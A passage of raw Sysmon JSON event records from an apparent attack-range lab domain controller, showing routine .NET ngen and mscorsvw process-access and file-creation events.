12:04:03.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4333-5F2D-0000-001026B41000}","TargetProcessId":"4584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8224,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:03.151\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42FE-5F2D-0000-0010DA0C0F00}\r\nTargetProcessId: 5108\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:03.151","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42FE-5F2D-0000-0010DA0C0F00}","TargetProcessId":"5108","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8225,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:03.151\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42FE-5F2D-0000-0010DA0C0F00}\r\nTargetProcessId: 5108\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:03.151","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42FE-5F2D-0000-0010DA0C0F00}","TargetProcessId":"5108","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8226,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:03.151\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42FE-5F2D-0000-0010DA0C0F00}\r\nTargetProcessId: 5108\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:03.151","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42FE-5F2D-0000-0010DA0C0F00}","TargetProcessId":"5108","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8227,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:03.323\r\nProcessGuid: {90617006-4333-5F2D-0000-0010D3B71000}\r\nProcessId: 5108\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\13f4-0\\XsdBuildTask.dll\r\nCreationUtcTime: 2020-08-07 12:04:03.323","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:03.323","ProcessGuid":"{90617006-4333-5F2D-0000-0010D3B71000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\13f4-0\\XsdBuildTask.dll","CreationUtcTime":"2020-08-07 12:04:03.323","EventReceivedTime":"2020-08-07 12:04:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8228,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:03.744\r\nSourceProcessGUID: {90617006-422C-5F2D-0000-001026310900}\r\nSourceProcessId: 4360\r\nSourceThreadId: 3956\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\NGenTask.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-00106A6A1000}\r\nTargetProcessId: 4864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.dll+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.DLL+32979|UNKNOWN(00007FF8EA445147)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:03.744","SourceProcessGUID":"{90617006-422C-5F2D-0000-001026310900}","SourceProcessId":"4360","SourceThreadId":"3956","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\NGenTask.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-00106A6A1000}","TargetProcessId":"4864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.dll+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.DLL+32979|UNKNOWN(00007FF8EA445147)","EventReceivedTime":"2020-08-07 12:04:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8229,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:03.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-00106A6A1000}\r\nTargetProcessId: 4864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:03.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-00106A6A1000}","TargetProcessId":"4864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8230,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:03.744\r\nSourceProcessGUID: {90617006-422C-5F2D-0000-0010B0310900}\r\nSourceProcessId: 4708\r\nSourceThreadId: 4596\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-00106A6A1000}\r\nTargetProcessId: 4864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:03.744","SourceProcessGUID":"{90617006-422C-5F2D-0000-0010B0310900}","SourceProcessId":"4708","SourceThreadId":"4596","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-00106A6A1000}","TargetProcessId":"4864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8231,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:03.791\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4333-5F2D-0000-001063DC1000}\r\nTargetProcessId: 4864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:03.791","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4333-5F2D-0000-001063DC1000}","TargetProcessId":"4864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8232,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:03.791\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4333-5F2D-0000-001063DC1000}\r\nTargetProcessId: 4864\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:03.791","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4333-5F2D-0000-001063DC1000}","TargetProcessId":"4864","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8233,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:03.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-001026310900}\r\nTargetProcessId: 4360\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\NGenTask.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 